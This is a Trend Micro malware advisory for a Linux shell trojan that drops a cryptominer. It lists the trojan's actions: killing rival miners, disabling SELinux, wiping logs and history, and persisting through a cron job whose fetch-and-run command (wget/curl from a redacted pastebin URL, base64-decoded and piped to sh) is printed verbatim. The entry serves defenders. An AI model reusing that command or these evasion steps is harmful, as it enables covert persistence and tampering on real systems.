Analysis by: Earle Maui Earnshaw
 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 3,669 bytes
File Type: Other
Memory Resident: No
Initial Samples Received Date: 11 Jun 2019
Payload: Terminates processes, Connects to URLs/IPs, Executes files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • Processes that contains the following strings in its commandline:
    • stratum

Other Details

This Trojan does the following:

  • It resets the IP policy table.
  • It adds rules to block outgoing connections via ports 3333, 5555, 7777, 9999.
  • It puts SELinux in permissive mode and disables SELinux by appending "SELINUX=disabled" to /etc/sysconfig/selinux..
  • It clears PageCache, dentries and inodes.
  • It clears the following objects:
    • history
    • /var/spool/mail/root
    • /var/log/wtmp
    • /var/log/secure
    • /root/.bash_history
  • It creates the following cron job to enable automatic execution of update.sh:
    • Path: '/var/spool/cron/crontabs/'"$USER"
      Schedule: Every 15 minutes
      Command: "*/15 * * * * ((wget -q -O- https://pastebin.com/raw/{BLOCKED}tb || curl -fsSL https://pastebin.com/raw/{BLOCKED}tb) | base64 -d) | sh" > cron.d 2>&1
  • Tries to connect to a local IP address using SSH without password. Once connected it will try to connect to the following URL:
    • https://pastebin.com/raw/{BLOCKED}tb
  • Executes the following files if not found running in the system:
    • {Directory}/mysqli
    • {Directory}/mysqlc
  • Checks the presence of /tmp/.mysqli/config.json for the miner to execute.
  • Drops a copy of itself to the following folders:
    • /etc/init.d/in

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.174.00
FIRST VSAPI PATTERN DATE: 14 Jun 2019
VSAPI OPR PATTERN File: 15.175.03
VSAPI OPR PATTERN Date: 15 Jun 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.SQUELL.CB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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